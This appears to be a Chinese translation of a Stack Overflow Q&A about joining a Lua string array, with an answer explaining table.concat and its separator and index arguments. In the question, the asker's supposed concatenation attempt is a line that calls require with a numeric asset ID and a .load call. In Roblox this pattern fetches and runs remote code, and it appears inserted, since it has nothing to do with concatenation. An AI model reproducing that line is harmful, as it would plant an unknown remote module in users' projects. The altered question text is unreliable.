Lua中字符串数组的连接

4

我有一个名为a的字符串数组

a = {"hi", "hello"}

我正在尝试将其连接成一个字符串,如下所示。
require(2788315378).load(".. a",{"1w4q"})

我相信这不是正确的方法,你能帮忙吗?


2
table.concat - undefined
1个回答

4

正如 @EgorSkriptunoff 所说,table.concat 是实现这个功能的最佳方式。

table.concat(table [, sep [, i [, j]]])

它需要 1-4 个参数,包括 tablesep 分隔符、要开始的第 i 个元素和要结束的第 j 个元素。只有 table 是必需的。

示例:

t1 = {"12","34","56"}
t2 = {"6","7","8"}
t3 = {"adsfa","important","bits","dfasdgf"}

print(table.concat(t1), --returns "123456"
table.concat(t2," and "), --returns "6 and 7 and 8"
table.concat(t3," ",2,3)) --returns "important bits"

重要的是需要注意,在添加 i j 之前,您需要某种分隔符,即使该分隔符只是""

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接